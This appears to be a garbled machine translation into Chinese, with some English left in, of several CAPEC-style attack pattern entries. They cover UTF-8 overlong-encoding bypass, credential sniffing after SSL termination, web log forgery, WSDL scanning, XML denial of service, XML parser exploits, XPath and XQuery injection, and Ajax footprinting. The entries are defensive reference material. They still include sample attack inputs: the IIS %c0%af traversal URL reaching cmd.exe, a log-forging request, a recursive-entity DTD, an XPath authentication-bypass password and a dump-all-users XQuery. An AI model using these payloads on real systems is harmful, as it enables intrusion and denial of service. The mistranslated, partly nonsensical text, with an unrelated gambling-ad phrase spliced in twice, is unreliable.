假设所有的输入是恶意的。创建一个定义所有有效的白名单输入到应用程序根据需求规格说明书。输入不匹配白名单不应被允许进入系统。 信息泄漏 运行任意代码 特权升级 注入向量是一个字符串URL路径等路径。 注入向量是一个字符串路径与恶意斜杠字符。不同编码格式还可以用于斜杠字符代码。 有效载荷的影响是访问未经授权的资源。 173年 有针对性的 171年 有针对性的 180年 有针对性的 181年 有针对性的 20. 有针对性的 74年 有针对性的 73年 有针对性的 21 有针对性的 185年 二次 200年 二次 697年 有针对性的 707年 有针对性的 64年 更抽象 78年 更抽象 71年 类似的 43 类似的 相对路径遍历 更详细的 使用替代编码绕过验证逻辑 更详细的 最小特权 不愿相信 渗透 剥削 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 utf - 8和Unicode FAQ Unix / Linux,马库斯·库恩- http://www.cl.cam.ac.uk/ ~ mgk25 / unicode.html URL编码的攻击,冈特•——http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致相关的攻击模式的变化 肖恩·巴纳姆 Cigital公司 2007-04-16 根据审查和反馈修改模式内容 这种攻击利用的是一个特定变体替代编码绕过验证逻辑。这种攻击利用的可能性在utf - 8编码潜在有害的输入和提交给应用程序不期望或有效地验证这个编码标准输入过滤困难。utf - 8(8位UCS / Unicode转换格式)是一种变长为Unicode字符编码。法律utf - 8字符是一个四个字节长。然而,早期版本的utf - 8规格弄错了一些条目(在某些情况下,它允许太长的字符)。utf - 8编码器应该使用“最短”编码,但天真的解码器可以接受超过必要的编码。根据RFC 3629,一个特别微妙的这种攻击形式可以针对一个解析器执行强调安全的有效性检查对utf - 8编码的输入形式,但解释某些非法八隅体作为字符序列。 1 -攻击者有一个通信通道将数据发送到目标主机。 2 -攻击者尝试一些特殊charactersusing utf - 8编码,将它们发送到目标主机并观察结果。攻击者发现一些字符不正确过滤。 使用utf - 8 3 -攻击者工艺品mailcious输入并将其发送到目标主机。 4 -目标主机解码和解释攻击者提供输入数据。不幸的是由于输入过滤做得不恰当,特殊字符产生有害的后果。 应用程序的utf - 8解码器接收和解释非法utf - 8字符或不在utf - 8编码的格式。 输入过滤和验证做得不恰当敞开了大门有害字符目标主机。 注射 协议处理 API滥用 也许最著名的utf - 8的攻击是针对应用补丁的Microsoft Internet Information Server (IIS) 4和5 IIS服务器。如果攻击者请求看起来像这个http: / / servername /脚本/…% c0%af…/ winnt / system32系统/ cmd。exe-the服务器没有正确处理% c0%af URL。你认为% c0%af意味着什么吗?11000000 10101111的二进制;如果是拆分使用utf - 8的映射规则,我们得到了这个:11000000 10101111。因此,人物是00000101111,或者0 x2f,反斜杠(/)字符!% c0%af是无效/字符的utf - 8表示。这样一个无效的utf - 8逃避通常被称为一个太长的序列。所以当攻击者请求URL污染,他访问http://servername/scripts/../../winnt/system32/cmd.exe。 In other words, he walked out of the script's virtual directory, which is marked to allow program execution, up to the root and down into the system32 directory, where he could pass commands to the command shell, Cmd.exe. cve - 2000 - 0884 低,攻击者可以注入不同的过滤字符以utf - 8格式表示。中,攻击者可能工艺微妙的编码输入数据通过使用知识,她收集了目标主机。 攻击者可能试图注入危险字符使用utf - 8不同表示形式使用(无效的utf - 8字符的例子)。攻击者希望目标系统对所有不同的可怜的输入过滤恶意的可能表示字符。恶意输入可以通过HTML表单或直接发送编码的URL。 攻击者可以使用脚本或自动化工具来探测为可怜的输入过滤。 一个web页面,其中包含过于长utf - 8编码构成协议异常,并可能表明攻击者正试图利用目标主机上的一个漏洞。 一个攻击者可以使用fuzzer为了调查一个utf - 8编码漏洞。fuzzer应该生成可疑的网络活动明显的入侵检测系统。 一个id过滤网络流量可以检测非法utf - 8字符。 根据OWASP,有时跨站点脚本攻击者试图隐藏他们的攻击在Unicode编码。 Unicode协会认可的多个表示问题,并修订Unicode标准做出相同的多个表示与utf - 8代码点是非法的。utf - 8正误表列出了新限制utf - 8的范围(见参考资料)。目前很多应用程序可能没有修订遵循这条规则。验证您的应用程序符合最新的utf - 8编码规范。额外的关注非法字符的过滤。 所需的确切响应从一个utf - 8解码器无效输入不一致定义的标准。一般来说,有几种方法utf - 8解码器可能表现在一个无效的字节序列的事件:1。插入一个替换字符(如。”?”、“�”)。2。忽略了字节。3所示。根据不同解释字节字符编码(通常是iso - 8859 - 1字符地图)。4所示。 Not notice and decode as if the bytes were some similar bit of UTF-8. 5. Stop decoding and report an error (possibly giving the caller the option to continue). It is possible for a decoder to behave in different ways for different types of invalid input. RFC 3629 only requires that UTF-8 decoders must not decode "overlong sequences" (where a character is encoded in more bytes than needed but still adheres to the forms above). The Unicode Standard requires a Unicode-compliant decoder to "…treat any ill-formed code unit sequence as an error condition. This guarantees that it will neither interpret nor emit an ill-formed code unit sequence." Overlong forms are one of the most troublesome types of UTF-8 data. The current RFC says they must not be decoded but older specifications for UTF-8 only gave a warning and many simpler decoders will happily decode them. Overlong forms have been used to bypass security validations in high profile products including Microsoft's IIS web server. Therefore, great care must be taken to avoid security issues if validation is performed before conversion from UTF-8, and it is generally much simpler to handle overlong forms before any input validation is done. To maintain security in the case of invalid input, there are two options. The first is to decode the UTF-8 before doing any input validation checks. The second is to use a decoder that, in the event of invalid input, returns either an error or text that the application considers to be harmless. Another possibility is to avoid conversion out of UTF-8 altogether but this relies on any other software that the data is passed to safely handling the invalid data. Another consideration is error recovery. To guarantee correct recovery after corrupt or lost bytes, decoders must be able to recognize the difference between lead and trail bytes, rather than just assuming that bytes will be of the type allowed in their position. 出于安全原因,utf - 8解码器不能接受utf - 8序列的时间比必要的字符编码。如果你使用一个解析器以utf - 8编码解码,确保解析器过滤无效的utf - 8字符(无效的形式或太长的形式)。 寻找太长的utf - 8序列从恶意模式。您还可以使用utf - 8编码译码器压力测试来测试您的utf - 8解析器(见马库斯·库恩的utf - 8和Unicode FAQ引用部分) 假设所有的输入是恶意的。创建一个白名单,它定义了所有有效的输入软件系统根据需求规格说明书。输入不匹配白名单不应被允许进入系统。测试你对恶意输入解码过程。 特权升级 运行任意代码 数据修改 拒绝服务 Bruce Schneier是第一个与Unicode提高安全问题在7月15日,2000年Crypto-Gram通讯问题。万博下载包他指出,与Unicode字符集,可能会有多个表示一个字符。在一个安全上下文是原始确定字符的意义。根据RFC 3629,一个特别微妙的这种攻击形式可以针对一个解析器执行强调安全的有效性检查对utf - 8编码的输入形式,但解释某些非法八隅体作为字符序列。例如,解析器可能禁止NUL字符编码为single-octet序列00时,但错误允许非法two-octet序列C0 80和解释NUL字符。Unicode可能导致问题的另一种方式是,应用程序或操作系统不同的代码点可以分配相同的解释。因此,尽管Unicode规范规定代码点应该区别对待,实际上应用程序一样对待他们。缓冲区溢出的另一个安全问题发生在utf - 8编码:utf - 8的ISO / IEC 10646描述允许编码字符U + 7 fffffff数字,收益率序列的6字节。因此缓冲区溢出的风险如果字符数字的范围没有明确限制在U + 10飞行符或者缓冲区大小没有考虑5 -和6-byte序列的可能性。5和6个字节长utf - 8字符现在是违法的。 注入向量是一个非法的字节序列匹配一个utf - 8字符或utf - 8编码格式的“不在形式”。 恶意字符的解释可能会导致意想不到的反应从目标主机。 请求或命令解释器负责解释客户端发送的请求。 恶意字符可以击败数据过滤机制,有许多不同的结果,如路径操作,远程代码执行,等等。 173年 有针对性的 172年 有针对性的 180年 有针对性的 181年 有针对性的 171年 二次 73年 有针对性的 21 有针对性的 74年 二次 20. 二次 697年 有针对性的 692年 有针对性的 64年 类似的 71年 类似的 不愿相信 RFC 3629, http://www.faqs.org/rfcs/rfc3629.html 渗透 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE——输入验证 大卫·惠勒——http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/character-encoding.html 大卫迈克尔·霍华德和勒布朗,编写安全代码chap12,微软出版社 Bruce Schneier Crypto-Gram通讯,万博下载包2000年7月15日- http://www.schneier.com/crypto -克- 0007. - html 维基百科对utf - 8页,http://en.wikipedia.org/wiki/UTF-8 RFC 3629, http://www.faqs.org/rfcs/rfc3629.html IDS逃税与Unicode, Eric黑客,2001年1月3日,http://www.securityfocus.com/infocus/1232 勘误表# 1:utf - 8最短形式——http://www.unicode.org/versions/corrigendum1.html utf - 8和Unicode FAQ Unix / Linux,马库斯·库恩- http://www.cl.cam.ac.uk/ ~ mgk25 / unicode.html utf - 8编码译码器性能和压力测试,马库斯·库恩——http://www.cl.cam.ac.uk/%7Emgk25/ucs/examples/UTF-8-test.txt g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的名称、描述和相关的攻击模式 肖恩·巴纳姆 Cigital公司 2007-04-16 根据审查和反馈修改模式内容 这种攻击的形式美而言Rest (REpresentational State Transfer)风格的应用程序的信任系统资源和环境到另一个地方的人中间一旦终止SSL。其他应用的前提是,他们利用现有的基础设施来提供web服务的功能。这是一个其他应用程序的一个例子,它使用HTTP Get方法和接收XML文档的HTTP响应。这些Rest风格的web服务部署在现有的基础设施,如Apache和IIS web服务器,而不需要任何SOAP堆栈。不幸的从安全的角度来看,经常没有可互操作的身份安全机制部署,所以其他开发人员经常回到SSL提供安全性。在大型数据中心,SSL是通常终止在网络的边缘——防火墙、负载平衡器或路由器。一旦终止SSL的HTTP请求明确(除非开发人员散列或加密的值,但这是罕见的)。攻击者可以利用嗅探器如Wireshark快照的凭证,如用户名和密码传递清楚一旦终止SSL。一旦攻击者收集这些凭据,他们可以提交请求到web服务提供者和授权用户一样。没有通常在客户端身份验证,超出请求中传递本身一旦妥协,那么这通常是足以危及服务的身份验证方案。 Opportuntity拦截必须存在超出SSL终止的一刻。 攻击者必须能够插入一个侦听器积极(代理通信)或被动(嗅通信)在客户端和服务器之间的通信路径。 非常高的 媒介 协议处理 注射 其他服务提供者使用SSL保护的服务请求者(客户端)之间的通信服务提供者。在之前终止SSL通信的实例到达web服务器,它是非常常见的在企业数据中心终止SSL路由器,防火墙、负载平衡器、代理或其他设备,那么攻击者可以插入一个嗅探器的通信流和收集所有身份验证令牌(如会话凭证,用户名/密码组合,等等)。其余服务请求者和服务提供者没有任何方式来检测这种攻击。 低→插入网络嗅探器或其他侦听器的通信流 攻击者可能会使用网络嗅探器来识别一旦终止SSL身份验证凭证。 实现:实现消息级安全性如HMAC HTTP通信 设计:利用深度防御,不依赖于一个像SSL安全机制 设计:实施最小特权原则 特权升级 HTTP协议通信 命令(s)直接在主机执行 客户端机器和客户网络 使攻击者能够与任何命令,执行服务器端代码程序所有者拥有特权。 300年 有针对性的 287年 有针对性的 724年 有针对性的 693年 有针对性的 渗透 剥削 SOA 所有 所有 所有 贡纳·彼得森 2007-02-28 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致的变化描述和攻击的先决条件 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 在安全保护服务很脆弱,所以他们所谓的protect-detect-respond应通过检测模型。检测的一个关键因素是日志文件,识别威胁的影响,为审计目的,或者只是应对崩溃。虽然渗透系统需要一组技能,更高级的攻击者会掩盖自己的踪迹通过操纵日志文件删除条目或输入错误的条目,把系统管理员小道。因为大多数请求到web服务器记录(至少头请求响应数据)攻击者完全有能力在每个请求生成日志数据。当然这不是一样总是能够删除否则篡改日志数据。Web日志篡改攻击包含攻击者注射,删除或篡改网络日志的内容。另外,恶意数据写入日志文件可能目标工作,过滤器,报告和其他代理这一过程日志以异步攻击模式。 目标服务器的软件必须是一个HTTP服务器,它执行web日志记录。 媒介 修改的资源 时间和状态 大多数web服务器有一个公共接口,即使大多数的网站密码保护,通常有至少一个登录网站和brochureware公开。HTTP请求网站普遍记录到一个Web日志。从攻击者的角度来看,标准HTTP请求包含恶意代码可以被发送到公共网站(不需要其他访问),当这些出现在日志(如http://victimsite/index.html?的请求<恶意脚本>如果他们是紧随其后的是管理员这可能足以探测管理员的主机或本地网络。 低→伪造条目输入Web日志 能力特殊格式化的HTTP请求发送到web服务器 设计:使用输入验证之前写网络日志 设计:前验证所有的日志数据输出 数据修改 ”攻击模式:网络日志转义字符通常翻译之前输出到日志文件中。例如,在IIS字符串/指数% 2 easp / index.asp记录在日志文件中。一个更复杂的字符串可以用来记录假日志文件中的条目。例如:/ index.asp % FF200%FFHTTP / 1.1% 0 a00:51:11%ff [192.168.10.10] % FFGET % FF /目录/公积金这个字符串将迫使一个回车日志文件和建立一个假的条目显示地址192.168.10.10目录/公积金文件”(霍格伦德和McGraw 04) 伪造通过HTTP请求日志条目。 HTTP请求 Web日志,日志报告系统 日志数据包含数据,用于迷惑管理员和审计员,一连串的事件。限制进行取证和其他调查/响应的能力。 117年 有针对性的 93年 有针对性的 92年 有针对性的 221年 有针对性的 96年 二次 20. 二次 150年 二次 276年 有针对性的 279年 二次 116年 二次 713年 有针对性的 困惑 媒介 媒介 客户机-服务器 SOA 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 这种攻击目标web服务的WSDL接口可用。攻击者可能扫描的WSDL接口调用模式的敏感信息,底层技术实现和相关的漏洞。这种类型的探测进行执行更严重的攻击(如参数篡改,恶意内容注入,命令注入,等等)。WSDL文件提供有关服务端口的详细信息和绑定到消费者身上。例如,攻击者可以提交特殊字符或恶意内容的Web服务和可能导致拒绝服务条件或非法访问数据库记录。此外,攻击者可能会试图猜测其他私有方法通过使用WSDL文件中提供的信息。 第一步是探索性意义攻击者WSDL文档的扫描。WDSL文档编写的XML就像是手册如何与web服务通信提供的目标主机。它提供了一个开放的应用程序(功能细节、目的、功能分解、入口点,消息类型,等等)。对于攻击者来说这是非常有用的信息。 攻击者会进行第二步是分析WSDL文件和寻找潜在的弱点通过发送消息匹配WSDL文件中描述的模式。攻击者可能会通过与不同的消息请求模式的所有操作,直到确定违约。 一旦攻击者发现了一个潜在的弱点,他们可以工艺系统发送恶意内容。例如攻击者可能试图提交特殊字符和观察系统如何反应一个无效的请求。攻击者发送的消息可能不是XML验证和导致不可预测的行为。 客户端程序连接到web服务可以读取WSDL来确定哪些功能是可用的服务器上。 目标主机暴露脆弱的函数在其WSDL接口。 分析 API滥用 WSDL接口可能暴露一个函数容易受到SQL注入。 Web服务描述语言(WSDL)允许Web服务宣传其功能通过描述操作和参数需要访问服务。正如在本系列的第5步中所讨论的,WSDL通常是自动生成,使用Java2WSDL等公用事业,需要一个类或接口和接口方法的构建一个WSDL文件作为web服务公开。因为WSDL生成通常是自动的,进取的黑客可以使用WSDL来洞察公共和私人服务。例如,一个组织将遗留应用程序的功能转换为一个web服务框架可能不经意间通过接口不用于公共消费WSDL生成工具。结果将是SOAP接口给私有方法访问。另一个更微妙的WSDL袭击发生在一个有事业心的攻击者使用命名约定来猜的名字未发表的方法,可以在服务器上。例如,一个服务,它提供了一个股票报价和交易服务可能发布查询方法如requestStockQuote WSDL。然而,类似的未发表的方法可以在服务器上但WSDL中未列出,如executeStockQuote。随着时间持续的黑客和图书馆的单词和短语可以循环通过常见的命名约定(获取、设置、更新、修改等等)发现未发布的应用程序编程接口,打开大门进入私人数据和功能。来源:“七个步骤到XML掌握,第七步:确保XML安全”,弗兰克·科伊尔。 See reference section. 低:这种攻击可以简单阅读WSDL和开始发送无效的请求。介质:这种攻击可以用来执行更复杂的攻击(SQL注入等。) 攻击者可以请求目标主机的WSDL文件通过发送一个SOAP消息。 有免费的漏洞测试工具,如WSDigger执行WSDL扫描——Foundstone是免费的Web服务安全工具执行WSDL扫描、SQL注入和XSS攻击Web服务。 重要的是保护WSDL文件或提供有限的访问。 检查函数公开的WSDL接口(特别如果你使用一个工具来生成)。确保没有一个是容易注入。 保证不公开的WSDL功能和api,并没有公开。 注意这个函数的命名约定(在WSDL接口)。容易猜函数名可能是一个入口点攻击。 根据WSDL验证接收到的消息模式。不完整的解决方案。 信息泄漏 538年 有针对性的 深度防御 不要假设你的秘密是安全的 保护最薄弱的环节 侦察 媒介 媒介 SOA 所有 所有 所有 CWE——输入验证 “解剖一个Web服务的攻击”,ForumSystems——http://forumsystems.com/papers/Anatomy_of_Attack_wp.pdf “七个步骤掌握XML,第七步:确保XML安全”,弗兰克Coyle——http://www.awprofessional.com/articles/article.asp?p=601349&seqNum=5&rl=1 肖恩·巴纳姆 Cigital公司。 2007-03-25 确定创建模式的优先事项 Eric Dalci Cigital公司。 2007-03-25 充实内容模式 肖恩·巴纳姆 Cigital公司 2007-04-16 审查和修改 XML拒绝服务(XDoS)可以应用于任何技术,利用XML数据。当然,这是大多数分布式系统技术包括Java、。net、数据库等等。XDoS与web服务最密切相关,肥皂,和休息,因为远程服务请求者可以发布恶意XML有效载荷到服务提供者设计排气服务提供者的内存、CPU、和/或磁盘空间。XDoS的主要弱点是服务提供者通常必须检查,解析和验证XML消息来确定路由、工作流、安全注意事项等。正是这些检验、解析和验证例程,XDoS目标。有三个主要的攻击向量XDoS可以导航目标CPU通过递归:攻击者创建一个递归的负载和发送给服务提供者通过大型有效载荷目标内存:服务提供者使用DOM解析XML。DOM创建在内存中表示的XML文档,但是当文档非常大(例如,以北1 Gb)服务提供者主机可能耗尽内存试图建立内存对象。XML萍死亡:攻击服务提供者与大量的小文件系统堵塞。所有上述攻击利用松散耦合的web服务的本质,服务提供者已经没有控制服务请求者和服务请求者发送任何消息。 攻击者必须能够一个恶意的XML有效负载发送到主机上,比如SOAP或REST web服务。 非常高的 注射 一些商业XML解析器是容易XDoS通过XML递归的攻击。下面的代码片段是,科学家将会导致解析器耗尽所有可用的CPU和/或内存。< !(< ! DOCTYPE evildoc实体x0メ你好XDoS " > < !实体xevilparamメ&x99; &x99;“> > < foobar > &xevilparam; < / foobar >的时候服务提供者validatesthe DTD元素为时过晚,因为验证例程引用本身。SOAP消息是不再允许接受dtd,然而没有阻止其他应用程序或自定义的SOAP实现的开发人员绕过了这个问题。 低→制作恶意XML内容并注入通过标准接口 设计:利用安全管道接口(SPI)调解服务请求者和服务提供者之间的通信SPI应该旨在控制节流和处理各种载荷。 设计:利用集群和故障转移技术,利用网络传输提供可用性如HTTP负载平衡器 实现:之前检查XML消息的解析 拒绝服务 xml系统接口 恶意构造的XML XML检查、解析和验证例程 拒绝服务 400年 有针对性的 674年 有针对性的 剥削 媒介 客户机-服务器 SOA 所有 所有 所有 贡纳·彼得森 2007-02-28 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致名称的变化 肖恩·巴纳姆 Cigital公司 2007-04-16 根据审查和反馈修改模式内容 应用程序常常需要转换数据的XML格式使用XML解析器。攻击者可能注入数据可能有不利影响XML解析器处理。这些副作用包括解析器崩溃,消耗太多的资源,执行过于缓慢,攻击者提供的执行代码,允许使用unintenteded系统功能等。攻击者的目标是利用解析器失败他或她的优点。在某些情况下它可能会从数据平面的控制层面通过错误数据被传递到一个XML解析器[1]。 攻击者确定的输入数据流由XML解析器在服务器端进行处理。 攻击者手工输入数据可能有不利影响的操作XML解析器解析当数据在服务器上。 一个应用程序使用XML解析器来执行对用户可控数据转换。 应用程序不执行足够的验证,以确保用户可控数据是安全的XML解析器。 媒介 媒介 注射 API滥用 “PHPXMLRPC即为PHP xml - RPC是一个PHP xml - RPC web RPC协议的实现,和最初是由Edd Dumbill有用的信息公司。1.0的稳定版本,该项目已被打开,更广泛的参与和搬到SourceForge。PHPXMLRPC大量流行的web应用程序中使用如PostNuke, Drupal, b2evolution, TikiWiki。不幸的是PHPXMLRPC容易受到远程php代码执行漏洞可能被攻击者利用妥协一个脆弱的系统。远程命令执行:PHPXMLRPC容易受到风险非常高的远程php代码执行漏洞可能允许攻击者妥协一个脆弱的网络服务器。脆弱性是unsanatized的结果数据被直接传递到的eval()调用parseRequest XMLRPC服务器()函数。通过创建一个XML文件,它使用单引号转义成eval()调用一个攻击者可以很容易地在目标服务器上执行的php代码。这有很多与magic_quotes_gpc()并不适用于美元HTTP_RAW_POST_DATA所以使用单引号不是问题”[2]。参考:GulfTech安全研究”PHPXMLRPC远程代码执行”,SecurePoint - BugTraq档案:“http://msgs.securepoint.com/bugtraq” cve - 2005 - 2498 低收入拒绝服务(使解析器崩溃),执行任意代码 坏数据不断传递给XML解析器,可能使其崩溃。 之前仔细验证和清洁所有用户可控数据传递XML解析器例程。确保安全通过合成数据的XML解析器。 规范化数据上执行验证。 选择一个健壮的XML解析器的实现。 之前针对有效的模式或DTD验证XML解析。 拒绝服务 信息泄漏 运行任意代码 特权升级 应用程序xml接口 用户可控XML代码 XML解析器代码。 112年 有针对性的 20. 有针对性的 19 有针对性的 674年 有针对性的 渗透 剥削 媒介 客户机-服务器 SOA 所有 所有 所有 1。什洛莫尤纳:“http://yeda.cs.technion.ac.il/尤纳/谈判/ xml_parser_attacks /幻灯片/ slide2。html”2。GulfTech安全研究“PHPXMLRPC远程代码执行”,SecurePoint - BugTraq档案:“http://msgs.securepoint.com/bugtraq” 肖恩·巴纳姆 Cigital公司。 2007-03-25 确定创建模式的优先事项 Evgeny Lebanidze Cigital公司, 2007-03-21 充实内容模式 肖恩·巴纳姆 Cigital公司 2007-04-16 审查和修改 攻击者可以工艺特殊用户可控输入包含XPath表达式将XML数据库和绕过身份验证或收集信息,他通常不会。XPath注入攻击者可以直接对话的XML数据库,因此完全绕过应用程序。XPath注入结果表单应用程序未能妥善清洁输入用作动态XPath表达式的一部分用于查询XML数据库。为了成功地将XML和从数据库中检索信息,攻击者: 1。决定了用户可控的输入,使用不适当的验证作为XPath查询的一部分 2。决定接受这样的查询输入的结构 3所示。工艺品恶意内容包含XPath表达式不验证的应用程序和执行XPath查询的一部分。 XPath查询用于检索信息存储在XML文档中 用户可控输入不正确消毒之前被用作XPath查询的一部分 注射 考虑一个应用程序,该应用程序使用一个XML数据库对用户进行身份验证。应用程序从一个请求检索用户名和密码并形成一个XPath表达式来查询数据库。攻击者可以成功地绕过身份验证和登录没有通过XPath注入有效身份证件。这可以通过将XPath语法的查询XML数据库导致身份验证检查失败。验证用户可控的输入和使用不当non-parameterized XPath表达式使攻击者将导致认证绕过一个XPath表达式。 低收入XPath注入与SQL注入共享相同的基本前提。攻击者必须了解XPath synax和构造为了成功利用XPath注入 没有一个 攻击者试图注入字符会导致一个XPath错误,如单引号('),或者可能导致畸形的XPath表达式的内容。如果注入这些内容输入XPath错误原因和由此产生的错误显示过滤,攻击者可以开始确定输入验证的性质和结构在查询中使用的XPath表达式。 太多的异常产生的appplication由于畸形的XPath查询 强大的输入验证,所有用户可控的输入必须验证和过滤非法字符以及内容的上下文中,可以解释一个XPath表达式。字符如单引号(')等运营商或(|)和(&)等应过滤如果应用程序不期望他们出现的上下文。如果这些内容不能被过滤,它至少必须正确地逃到避免他们被解释为XPath表达式的一部分。 使用参数化的XPath查询——参数化导致的输入被限制在特定的领域,比如字符串或整数,以外的任何输入这些域被认为是无效的,查询失败。 使用自定义的错误页面,攻击者可以收集信息的本质从描述性查询错误消息。输入验证必须加上自定义的错误页面,通知一个错误没有披露信息数据库或应用程序。 特权升级 信息泄漏 XPath注入的主要原因是使用不当的验证输入。在缺乏这样的验证,就可以注入的内容可以被解释为XPath表达式的一部分用于查询XML数据库。第二个最重要的原因是使用XPath表达式的动态创建数据库查询。Another factor, albeit a minor one, is the use of default error pages that reveal information about the structure of XPath queries. It is important to realize that, wherever possible, it is easier to leverage XPath injection than SQL Injection since an XML document usually has no access control associated with it. The attacker can extract the document structure since the contents of the XML document are not bound by privilege considerations in the same manner that tables in a relational database are. Also, in case of SQL injection, the application is limited in querying the database by the privilege of the database account used by the application. Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retireve authentication information: john abracadabra /home/john cbc 1mgr8 /home/cbc The Java code used to retrieve the home directory based on the provided credentials is: XPath xpath = XPathFactory.newInstance().newXPath(); XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" + login.getPassword() + "']/home_dir/text()"); Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml")); String homedir = xlogin.evaluate(d); Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes //users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text() which, of course, lets user "john" login without a valid password, thus bypassing authentication. This situation occurred due to the use of improperly filtered input and the use of dynamic XPath query. Parameterizng the XPath query provides a second line of defense, should input validation fail. The approach to parameterizing the query in Java is to use a resolver to resolve the bound parameters: public class LoginResolver implements XPathVariableResolver { Login login = null; public Object resolveVariable(QName variableName) { if (variableName == null) throw new NullPointerException("The variable name cannot be null"); if (variableName.equals(new QName("username"))) return new String(this.login.getUserName()); else if (variableName.equals(new QName("password"))) return new String(this.login.getPassword()); else return null; } public LoginResolver(Login login){ this.login = login; } } The corresponding XPath expression and query are: xpath.setXPathVariableResolver(new LoginResolver(login)); XPathExpression xlogin = xpath.compile("//users/user[login/text()=$username and password/text() = $password]/home_dir/text()"); Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml")); String homedir = xlogin.evaluate(d); A similar attack pattern that seeks to extract information, including the XML document structure, is known as Blind XPath Injection and is based on the lack of proper input validation and non-parameterized XPath queries. The difference lies in the fact that bypassing authentication does not require knowledge of the rest of the document and the corresponding query can be quite easily discerned. With Blind XPath Injection, the attacker asks the database a number of Boolean questions by formulating appropriate XPath expressions. 用户可控输入作为动态XPath查询的一部分 XPath表达式打算失败检查由XPath查询 XML数据库 有效载荷的影响激活是解释为查询中使用XPath表达式的一部分,从而使攻击者修改查询使用的表达式。 91年 有针对性的 74年 二次 20. 二次 390年 二次 713年 有针对性的 707年 有针对性的 在用户可控输入特殊字符必须在使用应用程序之前逃走了。 只使用参数化的XPath表达式查询XML数据库。 自定义错误页面必须用于处理异常,这样他们不会透露任何信息的体系结构的应用程序或数据库。 不愿相信 没有安全 深度防御 从不使用输入指令的任何内部组件 安全处理所有错误 渗透 剥削 媒介 客户机-服务器 SOA 所有 所有 所有 CWE——XML注入 CWE——输入验证 CWE——错误处理不当 Chiradeep B Chhaya 2007-01-30 第二稿 马利克Hamro Cigital公司 2007-02-27 重新格式化新模式和审查 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 这种攻击利用XQuery来探测和攻击服务器系统;以类似方式,SQL注入允许攻击者利用SQL调用RDBMS, XQuery注射使用不当传递给XQuery命令来验证数据遍历和XQuery程序访问执行命令。XQuery注入可用于枚举元素对受害者的环境,注入本地主机的命令,或执行查询远程文件和数据来源。 XQL必须执行用户数据 非常高的 注射 攻击者可以通过XQuery表达式嵌入在其他标准的XML文档。像SQL注入攻击,攻击者通过应用隧道入口点目标资源访问层。下面的字符串的一个例子是一个攻击者访问帐户。xml请求服务提供者发回所有用户的名字。医生(accounts.xml) / /用户[Name = ' * ']的攻击可以通过Xquery很难预测,如果数据没有执行XQL之前进行验证。 低→XQuery的基本理解 设计:对所有XML输入执行输入白名单确认 实现:以最少的特权运行xml解析和查询的基础设施,这样攻击者的能力是有限的调查从xql其他系统资源。 数据修改 信息泄漏 特权升级 运行任意代码 xml系统接口 XQuery的语法 XQL命令 74年 有针对性的 713年 有针对性的 707年 有针对性的 渗透 剥削 客户机-服务器 SOA 所有 所有 所有 贡纳·彼得森 2007-02-28 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 这种攻击利用Ajax谈话的客户机-服务器往返频繁扫描系统。虽然Ajax不开辟新的漏洞本身,它从攻击者的角度优化它们。许多XSS攻击的攻击者必须“一杆进洞”,成功地利用这个安全漏洞在受害者一边第一次,一旦客户重定向攻击者有很多机会参与跟踪调查,但是他们是只有一分之一的机会。在一个广泛使用的web应用程序,这不是主要问题,因为1 1000年广泛使用的应用程序已经足够好了。一个常见的攻击者的第一步是足迹环境了解攻击。自足迹依赖于枚举,快速的对话模式,多个请求和响应中典型的Ajax应用程序使攻击者寻找许多漏洞,众所周知的端口,网络位置等等。 用户必须允许Javscript浏览器中执行 非常高的 协议处理 注射 蛮力 碳足迹可以在几乎任何协议包括执行HTTP、TCP、UDP, ICMP,获得进一步信息的一般目标发动进一步攻击的主机环境。通过将恶意脚本附加到一个看上去正常的URL,否则攻击者可以探测横幅的刻度清晰,漏洞,文件名,可用的服务,总之任何主机进程访问。调查的结果要么是用于执行额外的javascript(例如,如果攻击者的足迹在防火墙脚本识别漏洞许可,然后客户端脚本执行javascript客户端防火墙设置,改变或攻击者可能仅仅扫描结果听到回声为针对未来远程主机攻击)。 媒介→土地和受害者的机器上启动脚本以适当的足迹在Javascript中列举服务和逻辑漏洞 设计:使用浏览器技术,不允许客户端脚本。 设计:利用严格的类型、字符和编码执行 实现:确保所有内容交付给客户是消毒与一个可接受的内容规范。 实现:对所有远程执行输入验证的内容。 实现:对所有远程执行输出验证的内容。 实现:在浏览器中禁用脚本语言Javascript等 